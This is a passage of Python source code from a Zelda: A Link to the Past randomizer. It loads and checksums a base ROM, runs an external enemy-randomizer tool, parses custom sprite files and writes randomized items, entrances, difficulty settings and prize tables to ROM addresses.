if pos and startaddress <= intervalstart + len(intervalpatch): # merge with previous segment
offset = startaddress - intervalstart
intervalpatch[offset:offset+len(values)] = values
startaddress = intervalstart
values = intervalpatch
else: # new segment
self.addresses.insert(pos, startaddress)
self.patches[str(startaddress)] = values
pos = pos + 1
while pos < len(self.addresses) and self.addresses[pos] <= startaddress + len(values): # merge the next segment into this one
intervalstart = self.addresses[pos]
values.extend(self.patches[str(intervalstart)][startaddress+len(values)-intervalstart:])
del self.patches[str(intervalstart)]
del self.addresses[pos]
def write_to_file(self, file):
with open(file, 'w') as stream:
json.dump([self.patches], stream)
def get_hash(self):
h = hashlib.md5()
h.update(json.dumps([self.patches]).encode('utf-8'))
return h.hexdigest()
class LocalRom(object):
def __init__(self, file, extendedmsu=False, patch=True, name=None, hash=None):
self.name = name
self.hash = hash
self.orig_buffer = None
self.extendedmsu = extendedmsu
with open(file, 'rb') as stream:
self.buffer = read_rom(stream)
if patch:
self.patch_base_rom(extendedmsu)
self.orig_buffer = self.buffer.copy()
def write_byte(self, address, value):
self.buffer[address] = value
def write_bytes(self, startaddress, values):
for i, value in enumerate(values):
self.write_byte(startaddress + i, value)
def write_to_file(self, file):
with open(file, 'wb') as outfile:
outfile.write(self.buffer)
@staticmethod
def fromJsonRom(rom, file, rom_size = 0x200000, extendedmsu=False):
ret = LocalRom(file, extendedmsu, True, rom.name, rom.hash)
ret.buffer.extend(bytearray([0x00]) * (rom_size - len(ret.buffer)))
for address, values in rom.patches.items():
ret.write_bytes(int(address), values)
return ret
def patch_base_rom(self, extendedmsu):
# verify correct checksum of baserom
basemd5 = hashlib.md5()
basemd5.update(self.buffer)
if JAP10HASH != basemd5.hexdigest():
logging.getLogger('').warning('Supplied Base Rom does not match known MD5 for JAP(1.0) release. Will try to patch anyway.')
# extend to 2MB
self.buffer.extend(bytearray([0x00]) * (0x200000 - len(self.buffer)))
# load randomizer patches
with open(local_path('data/base2current.json') if not extendedmsu else local_path('data/base2current_extendedmsu.json'), 'r') as stream:
patches = json.load(stream)
for patch in patches:
if isinstance(patch, dict):
for baseaddress, values in patch.items():
self.write_bytes(int(baseaddress), values)
# verify md5
# patchedmd5 = hashlib.md5()
# patchedmd5.update(self.buffer)
# if RANDOMIZERBASEHASH != patchedmd5.hexdigest():
# raise RuntimeError('Provided Base Rom unsuitable for patching. Please provide a JAP(1.0) "Zelda no Densetsu - Kamigami no Triforce (Japan).sfc" rom to use as a base.')
def write_crc(self):
crc = (sum(self.buffer[:0x7FDC] + self.buffer[0x7FE0:]) + 0x01FE) & 0xFFFF
inv = crc ^ 0xFFFF
self.write_bytes(0x7FDC, [inv & 0xFF, (inv >> 8) & 0xFF, crc & 0xFF, (crc >> 8) & 0xFF])
def get_hash(self):
h = hashlib.md5()
h.update(self.buffer)
return h.hexdigest()
def write_int16(rom, address, value):
rom.write_bytes(address, int16_as_bytes(value))
def write_int32(rom, address, value):
rom.write_bytes(address, int32_as_bytes(value))
def write_int16s(rom, startaddress, values):
for i, value in enumerate(values):
write_int16(rom, startaddress + (i * 2), value)
def write_int32s(rom, startaddress, values):
for i, value in enumerate(values):
write_int32(rom, startaddress + (i * 4), value)
def read_rom(stream):
"Reads rom into bytearray and strips off any smc header"
buffer = bytearray(stream.read())
if len(buffer)%0x400 == 0x200:
buffer = buffer[0x200:]
return buffer
def patch_enemizer(world, player, rom, baserom_path, enemizercli, shufflepots, random_sprite_on_hit, extendedmsu):
baserom_path = os.path.abspath(baserom_path)
basepatch_path = os.path.abspath(
local_path('data/base2current.json') if not extendedmsu else local_path('data/base2current_extendedmsu.json'))
enemizer_basepatch_path = os.path.join(os.path.dirname(enemizercli), "enemizerBasePatch.json")
randopatch_path = os.path.abspath(output_path(f'enemizer_randopatch_{player}.json'))
options_path = os.path.abspath(output_path(f'enemizer_options_{player}.json'))
enemizer_output_path = os.path.abspath(output_path(f'enemizer_output_{player}.json'))
# write options file for enemizer
options = {
'RandomizeEnemies': world.enemy_shuffle[player] != 'none',
'RandomizeEnemiesType': 3,
'RandomizeBushEnemyChance': world.enemy_shuffle[player] == 'chaos',
'RandomizeEnemyHealthRange': world.enemy_health[player] != 'default',
'RandomizeEnemyHealthType': {'default': 0, 'easy': 0, 'normal': 1, 'hard': 2, 'expert': 3}[
world.enemy_health[player]],
'OHKO': False,
'RandomizeEnemyDamage': world.enemy_damage[player] != 'default',
'AllowEnemyZeroDamage': True,
'ShuffleEnemyDamageGroups': world.enemy_damage[player] != 'default',
'EnemyDamageChaosMode': world.enemy_damage[player] == 'chaos',
'EasyModeEscape': False,
'EnemiesAbsorbable': False,
'AbsorbableSpawnRate': 10,
'AbsorbableTypes': {
'FullMagic': True, 'SmallMagic': True, 'Bomb_1': True, 'BlueRupee': True, 'Heart': True, 'BigKey': True, 'Key': True,
'Fairy': True, 'Arrow_10': True, 'Arrow_5': True, 'Bomb_8': True, 'Bomb_4': True, 'GreenRupee': True, 'RedRupee': True
},
'BossMadness': False,
'RandomizeBosses': True,
'RandomizeBossesType': 0,
'RandomizeBossHealth': False,
'RandomizeBossHealthMinAmount': 0,
'RandomizeBossHealthMaxAmount': 300,
'RandomizeBossDamage': False,
'RandomizeBossDamageMinAmount': 0,
'RandomizeBossDamageMaxAmount': 200,
'RandomizeBossBehavior': False,
'RandomizeDungeonPalettes': False,
'SetBlackoutMode': False,
'RandomizeOverworldPalettes': False,
'RandomizeSpritePalettes': False,
'SetAdvancedSpritePalettes': False,
'PukeMode': False,
'NegativeMode': False,
'GrayscaleMode': False,
'GenerateSpoilers': False,
'RandomizeLinkSpritePalette': False,
'RandomizePots': shufflepots,
'ShuffleMusic': False,
'BootlegMagic': True,
'CustomBosses': False,
'AndyMode': False,
'HeartBeepSpeed': 0,
'AlternateGfx': False,
'ShieldGraphics': "shield_gfx/normal.gfx",
'SwordGraphics': "sword_gfx/normal.gfx",
'BeeMizer': False,
'BeesLevel': 0,
'RandomizeTileTrapPattern': world.enemy_shuffle[player] == 'chaos',
'RandomizeTileTrapFloorTile': False,
'AllowKillableThief': bool(random.randint(0,1)) if world.enemy_shuffle[player] == 'chaos' else world.enemy_shuffle[player] != 'none',
'RandomizeSpriteOnHit': random_sprite_on_hit,
'DebugMode': False,
'DebugForceEnemy': False,
'DebugForceEnemyId': 0,
'DebugForceBoss': False,
'DebugForceBossId': 0,
'DebugOpenShutterDoors': False,
'DebugForceEnemyDamageZero': False,
'DebugShowRoomIdInRupeeCounter': False,
'UseManualBosses': True,
'ManualBosses': {
'EasternPalace': world.get_dungeon("Eastern Palace", player).boss.enemizer_name,
'DesertPalace': world.get_dungeon("Desert Palace", player).boss.enemizer_name,
'TowerOfHera': world.get_dungeon("Tower of Hera", player).boss.enemizer_name,
'AgahnimsTower': 'Agahnim',
'PalaceOfDarkness': world.get_dungeon("Palace of Darkness", player).boss.enemizer_name,
'SwampPalace': world.get_dungeon("Swamp Palace", player).boss.enemizer_name,
'SkullWoods': world.get_dungeon("Skull Woods", player).boss.enemizer_name,
'ThievesTown': world.get_dungeon("Thieves Town", player).boss.enemizer_name,
'IcePalace': world.get_dungeon("Ice Palace", player).boss.enemizer_name,
'MiseryMire': world.get_dungeon("Misery Mire", player).boss.enemizer_name,
'TurtleRock': world.get_dungeon("Turtle Rock", player).boss.enemizer_name,
'GanonsTower1': world.get_dungeon('Ganons Tower' if world.mode[player] != 'inverted' else 'Inverted Ganons Tower', player).bosses['bottom'].enemizer_name,
'GanonsTower2': world.get_dungeon('Ganons Tower' if world.mode[player] != 'inverted' else 'Inverted Ganons Tower', player).bosses['middle'].enemizer_name,
'GanonsTower3': world.get_dungeon('Ganons Tower' if world.mode[player] != 'inverted' else 'Inverted Ganons Tower', player).bosses['top'].enemizer_name,
'GanonsTower4': 'Agahnim2',
'Ganon': 'Ganon',
}
}
rom.write_to_file(randopatch_path)
with open(options_path, 'w') as f:
json.dump(options, f)
subprocess.check_call([os.path.abspath(enemizercli),
'--rom', baserom_path,
'--seed', str(world.rom_seeds[player]),
'--base', basepatch_path,
'--randomizer', randopatch_path,
'--enemizer', options_path,
'--output', enemizer_output_path],
cwd=os.path.dirname(enemizercli), stdout=subprocess.DEVNULL)
with open(enemizer_basepatch_path, 'r') as f:
for patch in json.load(f):
rom.write_bytes(patch["address"], patch["patchData"])
with open(enemizer_output_path, 'r') as f:
for patch in json.load(f):
rom.write_bytes(patch["address"], patch["patchData"])
if random_sprite_on_hit:
_populate_sprite_table()
sprites = list(_sprite_table.values())
if sprites:
while len(sprites) < 32:
sprites.extend(sprites)
random.shuffle(sprites)
for i, path in enumerate(sprites[:32]):
sprite = Sprite(path)
rom.write_bytes(0x300000 + (i * 0x8000), sprite.sprite)
rom.write_bytes(0x307000 + (i * 0x8000), sprite.palette)
rom.write_bytes(0x307078 + (i * 0x8000), sprite.glove_palette)
for used in (randopatch_path, options_path, enemizer_output_path):
try:
os.remove(used)
except OSError:
pass
_sprite_table = {}
def _populate_sprite_table():
if not _sprite_table:
for dir in [local_path('data/sprites/official'), local_path('data/sprites/unofficial')]:
for file in os.listdir(dir):
filepath = os.path.join(dir, file)
if not os.path.isfile(filepath):
continue
sprite = Sprite(filepath)
if sprite.valid:
_sprite_table[sprite.name.lower()] = filepath
def get_sprite_from_name(name):
_populate_sprite_table()
name = name.lower()
if name in ['random', 'randomonhit']:
return Sprite(random.choice(list(_sprite_table.values())))
return Sprite(_sprite_table[name]) if name in _sprite_table else None
class Sprite(object):
default_palette = [255, 127, 126, 35, 183, 17, 158, 54, 165, 20, 255, 1, 120, 16, 157,
89, 71, 54, 104, 59, 74, 10, 239, 18, 92, 42, 113, 21, 24, 122,
255, 127, 126, 35, 183, 17, 158, 54, 165, 20, 255, 1, 120, 16, 157,
89, 128, 105, 145, 118, 184, 38, 127, 67, 92, 42, 153, 17, 24, 122,
255, 127, 126, 35, 183, 17, 158, 54, 165, 20, 255, 1, 120, 16, 157,
89, 87, 16, 126, 69, 243, 109, 185, 126, 92, 42, 39, 34, 24, 122,
255, 127, 126, 35, 218, 17, 158, 54, 165, 20, 255, 1, 120, 16, 151,
61, 71, 54, 104, 59, 74, 10, 239, 18, 126, 86, 114, 24, 24, 122]
default_glove_palette = [246, 82, 118, 3]
def __init__(self, filename):
with open(filename, 'rb') as file:
filedata = bytearray(file.read())
self.name = os.path.basename(filename)
self.author_name = None
self.valid = True
if len(filedata) == 0x7000:
# sprite file with graphics and without palette data
self.sprite = filedata[:0x7000]
self.palette = list(self.default_palette)
self.glove_palette = list(self.default_glove_palette)
elif len(filedata) == 0x7078:
# sprite file with graphics and palette data
self.sprite = filedata[:0x7000]
self.palette = filedata[0x7000:]
self.glove_palette = filedata[0x7036:0x7038] + filedata[0x7054:0x7056]
elif len(filedata) == 0x707C:
# sprite file with graphics and palette data including gloves
self.sprite = filedata[:0x7000]
self.palette = filedata[0x7000:0x7078]
self.glove_palette = filedata[0x7078:]
elif len(filedata) in [0x100000, 0x200000]:
# full rom with patched sprite, extract it
self.sprite = filedata[0x80000:0x87000]
self.palette = filedata[0xDD308:0xDD380]
self.glove_palette = filedata[0xDEDF5:0xDEDF9]
elif filedata.startswith(b'ZSPR'):
result = self.parse_zspr(filedata, 1)
if result is None:
self.valid = False
return
(sprite, palette, self.name, self.author_name) = result
if len(sprite) != 0x7000:
self.valid = False
return
self.sprite = sprite
if len(palette) == 0:
self.palette = list(self.default_palette)
self.glove_palette = list(self.default_glove_palette)
elif len(palette) == 0x78:
self.palette = palette
self.glove_palette = list(self.default_glove_palette)
elif len(palette) == 0x7C:
self.palette = palette[:0x78]
self.glove_palette = palette[0x78:]
else:
self.valid = False
else:
self.valid = False
@staticmethod
def default_link_sprite():
return Sprite(local_path('data/default.zspr'))
def decode8(self, pos):
arr = [[0 for _ in range(8)] for _ in range(8)]
for y in range(8):
for x in range(8):
position = 1<<(7-x)
val = 0
if self.sprite[pos+2*y] & position:
val += 1
if self.sprite[pos+2*y+1] & position:
val += 2
if self.sprite[pos+2*y+16] & position:
val += 4
if self.sprite[pos+2*y+17] & position:
val += 8
arr[y][x] = val
return arr
def decode16(self, pos):
arr = [[0 for _ in range(16)] for _ in range(16)]
top_left = self.decode8(pos)
top_right = self.decode8(pos+0x20)
bottom_left = self.decode8(pos+0x200)
bottom_right = self.decode8(pos+0x220)
for x in range(8):
for y in range(8):
arr[y][x] = top_left[y][x]
arr[y][x+8] = top_right[y][x]
arr[y+8][x] = bottom_left[y][x]
arr[y+8][x+8] = bottom_right[y][x]
return arr
def parse_zspr(self, filedata, expected_kind):
logger = logging.getLogger('')
headerstr = "<4xBHHIHIHH6x"
headersize = struct.calcsize(headerstr)
if len(filedata) < headersize:
return None
(version, csum, icsum, sprite_offset, sprite_size, palette_offset, palette_size, kind) = struct.unpack_from(headerstr, filedata)
if version not in [1]:
logger.error('Error parsing ZSPR file: Version %g not supported', version)
return None
if kind != expected_kind:
return None
stream = io.BytesIO(filedata)
stream.seek(headersize)
def read_utf16le(stream):
"Decodes a null-terminated UTF-16_LE string of unknown size from a stream"
raw = bytearray()
while True:
char = stream.read(2)
if char in [b'', b'\x00\x00']:
break
raw += char
return raw.decode('utf-16_le')
sprite_name = read_utf16le(stream)
author_name = read_utf16le(stream)
# Ignoring the Author Rom name for the time being.
real_csum = sum(filedata) % 0x10000
if real_csum != csum or real_csum ^ 0xFFFF != icsum:
logger.warning('ZSPR file has incorrect checksum. It may be corrupted.')
sprite = filedata[sprite_offset:sprite_offset + sprite_size]
palette = filedata[palette_offset:palette_offset + palette_size]
if len(sprite) != sprite_size or len(palette) != palette_size:
logger.error('Error parsing ZSPR file: Unexpected end of file')
return None
return (sprite, palette, sprite_name, author_name)
def decode_palette(self):
"Returns the palettes as an array of arrays of 15 colors"
def array_chunk(arr, size):
return list(zip(*[iter(arr)] * size))
def make_int16(pair):
return pair[1]<<8 | pair[0]
def expand_color(i):
return ((i & 0x1F) * 8, (i>>5 & 0x1F) * 8, (i>>10 & 0x1F) * 8)
raw_palette = self.palette
if raw_palette is None:
raw_palette = Sprite.default_palette
# turn palette data into a list of RGB tuples with 8 bit values
palette_as_colors = [expand_color(make_int16(chnk)) for chnk in array_chunk(raw_palette, 2)]
# split into palettes of 15 colors
return array_chunk(palette_as_colors, 15)
def patch_rom(world, rom, player, team, enemized):
random.seed(world.rom_seeds[player])
# progressive bow silver arrow hint hack
prog_bow_locs = world.find_items('Progressive Bow', player)
if len(prog_bow_locs) > 1:
# only pick a distingushed bow if we have at least two
distinguished_prog_bow_loc = random.choice(prog_bow_locs)
distinguished_prog_bow_loc.item.code = 0x65
# patch items
for location in world.get_locations():
if location.player != player:
continue
itemid = location.item.code if location.item is not None else 0x5A
if location.address is None:
continue
if not location.crystal:
if location.item is not None:
# Keys in their native dungeon should use the orignal item code for keys
if location.parent_region.dungeon:
if location.parent_region.dungeon.is_dungeon_item(location.item):
if location.item.bigkey:
itemid = 0x32
if location.item.smallkey:
itemid = 0x24
if location.item.map:
itemid = 0x33
if location.item.compass:
itemid = 0x25
if world.remote_items[player]:
itemid = list(location_table.keys()).index(location.name) + 1
assert itemid < 0x100
rom.write_byte(location.player_address, 0xFF)
elif location.item.player != player:
if location.player_address is not None:
rom.write_byte(location.player_address, location.item.player)
else:
itemid = 0x5A
rom.write_byte(location.address, itemid)
else:
# crystals
for address, value in zip(location.address, itemid):
rom.write_byte(address, value)
# patch music
music_addresses = dungeon_music_addresses[location.name]
if world.mapshuffle[player]:
music = random.choice([0x11, 0x16])
else:
music = 0x11 if 'Pendant' in location.item.name else 0x16
for music_address in music_addresses:
rom.write_byte(music_address, music)
if world.mapshuffle[player]:
rom.write_byte(0x155C9, random.choice([0x11, 0x16])) # Randomize GT music too with map shuffle
# patch entrance/exits/holes
for region in world.regions:
for exit in region.exits:
if exit.target is not None and exit.player == player:
if isinstance(exit.addresses, tuple):
offset = exit.target
room_id, ow_area, vram_loc, scroll_y, scroll_x, link_y, link_x, camera_y, camera_x, unknown_1, unknown_2, door_1, door_2 = exit.addresses
#room id is deliberately not written
rom.write_byte(0x15B8C + offset, ow_area)
write_int16(rom, 0x15BDB + 2 * offset, vram_loc)
write_int16(rom, 0x15C79 + 2 * offset, scroll_y)
write_int16(rom, 0x15D17 + 2 * offset, scroll_x)
# for positioning fixups we abuse the roomid as a way of identifying which exit data we are appling
# Thanks to Zarby89 for originally finding these values
# todo fix screen scrolling
if world.shuffle[player] not in ['insanity', 'insanity_legacy', 'madness_legacy'] and \
exit.name in ['Eastern Palace Exit', 'Tower of Hera Exit', 'Thieves Town Exit', 'Skull Woods Final Section Exit', 'Ice Palace Exit', 'Misery Mire Exit',
'Palace of Darkness Exit', 'Swamp Palace Exit', 'Ganons Tower Exit', 'Desert Palace Exit (North)', 'Agahnims Tower Exit', 'Spiral Cave Exit (Top)',
'Superbunny Cave Exit (Bottom)', 'Turtle Rock Ledge Exit (East)']:
# For exits that connot be reached from another, no need to apply offset fixes.
write_int16(rom, 0x15DB5 + 2 * offset, link_y) # same as final else
elif room_id == 0x0059 and world.fix_skullwoods_exit[player]:
write_int16(rom, 0x15DB5 + 2 * offset, 0x00F8)
elif room_id == 0x004a and world.fix_palaceofdarkness_exit[player]:
write_int16(rom, 0x15DB5 + 2 * offset, 0x0640)
elif room_id == 0x00d6 and world.fix_trock_exit[player]:
write_int16(rom, 0x15DB5 + 2 * offset, 0x0134)
elif room_id == 0x000c and world.fix_gtower_exit: # fix ganons tower exit point
write_int16(rom, 0x15DB5 + 2 * offset, 0x00A4)
else:
write_int16(rom, 0x15DB5 + 2 * offset, link_y)
write_int16(rom, 0x15E53 + 2 * offset, link_x)
write_int16(rom, 0x15EF1 + 2 * offset, camera_y)
write_int16(rom, 0x15F8F + 2 * offset, camera_x)
rom.write_byte(0x1602D + offset, unknown_1)
rom.write_byte(0x1607C + offset, unknown_2)
write_int16(rom, 0x160CB + 2 * offset, door_1)
write_int16(rom, 0x16169 + 2 * offset, door_2)
elif isinstance(exit.addresses, list):
# is hole
for address in exit.addresses:
rom.write_byte(address, exit.target)
else:
# patch door table
rom.write_byte(0xDBB73 + exit.addresses, exit.target)
if world.mode[player] == 'inverted':
patch_shuffled_dark_sanc(world, rom, player)
write_custom_shops(rom, world, player)
# patch medallion requirements
if world.required_medallions[player][0] == 'Bombos':
rom.write_byte(0x180022, 0x00) # requirement
rom.write_byte(0x4FF2, 0x31) # sprite
rom.write_byte(0x50D1, 0x80)
rom.write_byte(0x51B0, 0x00)
elif world.required_medallions[player][0] == 'Quake':
rom.write_byte(0x180022, 0x02) # requirement
rom.write_byte(0x4FF2, 0x31) # sprite
rom.write_byte(0x50D1, 0x88)
rom.write_byte(0x51B0, 0x00)
if world.required_medallions[player][1] == 'Bombos':
rom.write_byte(0x180023, 0x00) # requirement
rom.write_byte(0x5020, 0x31) # sprite
rom.write_byte(0x50FF, 0x90)
rom.write_byte(0x51DE, 0x00)
elif world.required_medallions[player][1] == 'Ether':
rom.write_byte(0x180023, 0x01) # requirement
rom.write_byte(0x5020, 0x31) # sprite
rom.write_byte(0x50FF, 0x98)
rom.write_byte(0x51DE, 0x00)
# set open mode:
if world.mode[player] in ['open', 'inverted']:
rom.write_byte(0x180032, 0x01) # open mode
if world.mode[player] == 'inverted':
set_inverted_mode(world, player, rom)
elif world.mode[player] == 'standard':
rom.write_byte(0x180032, 0x00) # standard mode
uncle_location = world.get_location('Link\'s Uncle', player)
if uncle_location.item is None or uncle_location.item.name not in ['Master Sword', 'Tempered Sword', 'Fighter Sword', 'Golden Sword', 'Progressive Sword']:
# disable sword sprite from uncle
rom.write_bytes(0x6D263, [0x00, 0x00, 0xf6, 0xff, 0x00, 0x0E])
rom.write_bytes(0x6D26B, [0x00, 0x00, 0xf6, 0xff, 0x00, 0x0E])
rom.write_bytes(0x6D293, [0x00, 0x00, 0xf6, 0xff, 0x00, 0x0E])
rom.write_bytes(0x6D29B, [0x00, 0x00, 0xf7, 0xff, 0x00, 0x0E])
rom.write_bytes(0x6D2B3, [0x00, 0x00, 0xf6, 0xff, 0x02, 0x0E])
rom.write_bytes(0x6D2BB, [0x00, 0x00, 0xf6, 0xff, 0x02, 0x0E])
rom.write_bytes(0x6D2E3, [0x00, 0x00, 0xf7, 0xff, 0x02, 0x0E])
rom.write_bytes(0x6D2EB, [0x00, 0x00, 0xf7, 0xff, 0x02, 0x0E])
rom.write_bytes(0x6D31B, [0x00, 0x00, 0xe4, 0xff, 0x08, 0x0E])
rom.write_bytes(0x6D323, [0x00, 0x00, 0xe4, 0xff, 0x08, 0x0E])
# set light cones
rom.write_byte(0x180038, 0x01 if world.sewer_light_cone[player] else 0x00)
rom.write_byte(0x180039, 0x01 if world.light_world_light_cone else 0x00)
rom.write_byte(0x18003A, 0x01 if world.dark_world_light_cone else 0x00)
GREEN_TWENTY_RUPEES = 0x47
TRIFORCE_PIECE = ItemFactory('Triforce Piece', player).code
GREEN_CLOCK = ItemFactory('Green Clock', player).code
rom.write_byte(0x18004F, 0x01) # Byrna Invulnerability: on
# handle difficulty_adjustments
if world.difficulty_adjustments[player] == 'hard':
rom.write_byte(0x180181, 0x01) # Make silver arrows work only on ganon
rom.write_byte(0x180182, 0x00) # Don't auto equip silvers on pickup
# Powdered Fairies Prize
rom.write_byte(0x36DD0, 0xD8) # One Heart
# potion heal amount
rom.write_byte(0x180084, 0x38) # Seven Hearts
# potion magic restore amount
rom.write_byte(0x180085, 0x40) # Half Magic
#Cape magic cost
rom.write_bytes(0x3ADA7, [0x02, 0x04, 0x08])
# Byrna Invulnerability: off
rom.write_byte(0x18004F, 0x00)
#Disable catching fairies
rom.write_byte(0x34FD6, 0x80)
overflow_replacement = GREEN_TWENTY_RUPEES
# Rupoor negative value
write_int16(rom, 0x180036, world.rupoor_cost)
# Set stun items
rom.write_byte(0x180180, 0x02) # Hookshot only
elif world.difficulty_adjustments[player] == 'expert':
rom.write_byte(0x180181, 0x01) # Make silver arrows work only on ganon
rom.write_byte(0x180182, 0x00) # Don't auto equip silvers on pickup
# Powdered Fairies Prize
rom.write_byte(0x36DD0, 0xD8) # One Heart
# potion heal amount
rom.write_byte(0x180084, 0x20) # 4 Hearts
# potion magic restore amount
rom.write_byte(0x180085, 0x20) # Quarter Magic
#Cape magic cost
rom.write_bytes(0x3ADA7, [0x02, 0x04, 0x08])
# Byrna Invulnerability: off
rom.write_byte(0x18004F, 0x00)
#Disable catching fairies
rom.write_byte(0x34FD6, 0x80)
overflow_replacement = GREEN_TWENTY_RUPEES
# Rupoor negative value
write_int16(rom, 0x180036, world.rupoor_cost)
# Set stun items
rom.write_byte(0x180180, 0x00) # Nothing
else:
rom.write_byte(0x180181, 0x00) # Make silver arrows freely usable
rom.write_byte(0x180182, 0x01) # auto equip silvers on pickup
# Powdered Fairies Prize
rom.write_byte(0x36DD0, 0xE3) # fairy
# potion heal amount
rom.write_byte(0x180084, 0xA0) # full
# potion magic restore amount
rom.write_byte(0x180085, 0x80) # full
#Cape magic cost
rom.write_bytes(0x3ADA7, [0x04, 0x08, 0x10])
# Byrna Invulnerability: on
rom.write_byte(0x18004F, 0x01)
#Enable catching fairies
rom.write_byte(0x34FD6, 0xF0)
# Rupoor negative value
write_int16(rom, 0x180036, world.rupoor_cost)
# Set stun items
rom.write_byte(0x180180, 0x03) # All standard items
#Set overflow items for progressive equipment
if world.timer[player] in ['timed', 'timed-countdown', 'timed-ohko']:
overflow_replacement = GREEN_CLOCK
else:
overflow_replacement = GREEN_TWENTY_RUPEES
#Byrna residual magic cost
rom.write_bytes(0x45C42, [0x04, 0x02, 0x01])
difficulty = world.difficulty_requirements[player]
#Set overflow items for progressive equipment
rom.write_bytes(0x180090,
[difficulty.progressive_sword_limit if world.swords[player] != 'swordless' else 0, overflow_replacement,
difficulty.progressive_shield_limit, overflow_replacement,
difficulty.progressive_armor_limit, overflow_replacement,
difficulty.progressive_bottle_limit, overflow_replacement,
difficulty.progressive_bow_limit, overflow_replacement])
if difficulty.progressive_bow_limit < 2 and world.swords[player] == 'swordless':
rom.write_bytes(0x180098, [2, overflow_replacement])
rom.write_byte(0x180181, 0x01) # Make silver arrows work only on ganon
rom.write_byte(0x180182, 0x00) # Don't auto equip silvers on pickup
# set up game internal RNG seed
for i in range(1024):
rom.write_byte(0x178000 + i, random.randint(0, 255))
# shuffle prize packs
prizes = [0xD8, 0xD8, 0xD8, 0xD8, 0xD9, 0xD8, 0xD8, 0xD9, 0xDA, 0xD9, 0xDA, 0xDB, 0xDA, 0xD9, 0xDA, 0xDA, 0xE0, 0xDF, 0xDF, 0xDA, 0xE0, 0xDF, 0xD8, 0xDF,
0xDC, 0xDC, 0xDC, 0xDD, 0xDC, 0xDC, 0xDE, 0xDC, 0xE1, 0xD8, 0xE1, 0xE2, 0xE1, 0xD8, 0xE1, 0xE2, 0xDF, 0xD9, 0xD8, 0xE1, 0xDF, 0xDC, 0xD9, 0xD8,
0xD8, 0xE3, 0xE0, 0xDB, 0xDE, 0xD8, 0xDB, 0xE2, 0xD9, 0xDA, 0xDB, 0xD9, 0xDB, 0xD9, 0xDB]
dig_prizes = [0xB2, 0xD8, 0xD8, 0xD8, 0xD8, 0xD8, 0xD8, 0xD8, 0xD8,
0xD9, 0xD9, 0xD9, 0xD9, 0xD9, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA,
0xDB, 0xDB, 0xDB, 0xDB, 0xDB, 0xDC, 0xDC, 0xDC, 0xDC, 0xDC,
0xDD, 0xDD, 0xDD, 0xDD, 0xDD, 0xDE, 0xDE, 0xDE, 0xDE, 0xDE,
0xDF, 0xDF, 0xDF, 0xDF, 0xDF, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0,
0xE1, 0xE1, 0xE1, 0xE1, 0xE1, 0xE2, 0xE2, 0xE2, 0xE2, 0xE2,
0xE3, 0xE3, 0xE3, 0xE3, 0xE3]
def chunk(l,n):
return [l[i:i+n] for i in range(0, len(l), n)]
# randomize last 7 slots
prizes [-7:] = random.sample(prizes, 7)
#shuffle order of 7 main packs
packs = chunk(prizes[:56], 8)
random.shuffle(packs)
prizes[:56] = [drop for pack in packs for drop in pack]
if world.difficulty_adjustments[player] in ['hard', 'expert']:
prize_replacements = {0xE0: 0xDF, # Fairy -> heart
0xE3: 0xD8} # Big magic -> small magic
prizes = [prize_replacements.get(prize, prize) for prize in prizes]
dig_prizes = [prize_replacements.get(prize, prize) for prize in dig_prizes]
if world.retro[player]:
prize_replacements = {0xE1: 0xDA, #5 Arrows -> Blue Rupee
0xE2: 0xDB} #10 Arrows -> Red Rupee
prizes = [prize_replacements.get(prize, prize) for prize in prizes]
dig_prizes = [prize_replacements.get(prize, prize) for prize in dig_prizes]
rom.write_bytes(0x180100, dig_prizes)
# write tree pull prizes
rom.write_byte(0xEFBD4, prizes.pop())
rom.write_byte(0xEFBD5, prizes.pop())
rom.write_byte(0xEFBD6, prizes.pop())
# rupee crab prizes
rom.write_byte(0x329C8, prizes.pop()) # first prize
rom.write_byte(0x329C4, prizes.pop()) # final prize
# stunned enemy prize
rom.write_byte(0x37993, prizes.pop())
# saved fish prize
rom.write_byte(0xE82CC, prizes.pop())
# fill enemy prize packs
rom.write_bytes(0x37A78, prizes)
# set bonk prizes
bonk_prizes = [0x79, 0xE3, 0x79, 0xAC, 0xAC, 0xE0, 0xDC, 0xAC, 0xE3, 0xE3, 0xDA, 0xE3, 0xDA, 0xD8, 0xAC, 0xAC, 0xE3, 0xD8, 0xE3, 0xE3, 0xE3, 0xE3, 0xE3, 0xE3, 0xDC, 0xDB, 0xE3, 0xDA, 0x79, 0x79, 0xE3, 0xE3,
0xDA, 0x79, 0xAC, 0xAC, 0x79, 0xE3, 0x79, 0xAC, 0xAC, 0xE0, 0xDC, 0xE3, 0x79, 0xDE, 0xE3, 0xAC, 0xDB, 0x79, 0xE3, 0xD8, 0xAC, 0x79, 0xE3, 0xDB, 0xDB, 0xE3, 0xE3, 0x79, 0xD8, 0xDD]
bonk_addresses = [0x4CF6C, 0x4CFBA, 0x4CFE0, 0x4CFFB, 0x4D018, 0x4D01B, 0x4D028, 0x4D03C, 0x4D059, 0x4D07A, 0x4D09E, 0x4D0A8, 0x4D0AB, 0x4D0AE, 0x4D0BE, 0x4D0DD,
0x4D16A, 0x4D1E5, 0x4D1EE, 0x4D20B, 0x4CBBF, 0x4CBBF, 0x4CC17, 0x4CC1A, 0x4CC4A, 0x4CC4D, 0x4CC53, 0x4CC69, 0x4CC6F, 0x4CC7C, 0x4CCEF, 0x4CD51,
0x4CDC0, 0x4CDC3, 0x4CDC6, 0x4CE37, 0x4D2DE, 0x4D32F, 0x4D355, 0x4D367, 0x4D384, 0x4D387, 0x4D397, 0x4D39E, 0x4D3AB, 0x4D3AE, 0x4D3D1, 0x4D3D7,
0x4D3F8, 0x4D416, 0x4D420, 0x4D423, 0x4D42D, 0x4D449, 0x4D48C, 0x4D4D9, 0x4D4DC, 0x4D4E3, 0x4D504, 0x4D507, 0x4D55E, 0x4D56A]
if world.shuffle_bonk_prizes:
random.shuffle(bonk_prizes)
for prize, address in zip(bonk_prizes, bonk_addresses):
rom.write_byte(address, prize)
# Fill in item substitutions table
rom.write_bytes(0x184000, [
# original_item, limit, replacement_item, filler
0x12, 0x01, 0x35, 0xFF, # lamp -> 5 rupees
0x51, 0x06, 0x52, 0xFF, # 6 +5 bomb upgrades -> +10 bomb upgrade
0x53, 0x06, 0x54, 0xFF, # 6 +5 arrow upgrades -> +10 arrow upgrade
0x58, 0x01, 0x36 if world.retro[player] else 0x43, 0xFF, # silver arrows -> single arrow (red 20 in retro mode)
0x3E, difficulty.boss_heart_container_limit, 0x47, 0xff, # boss heart -> green 20
0x17, difficulty.heart_piece_limit, 0x47, 0xff, # piece of heart -> green 20
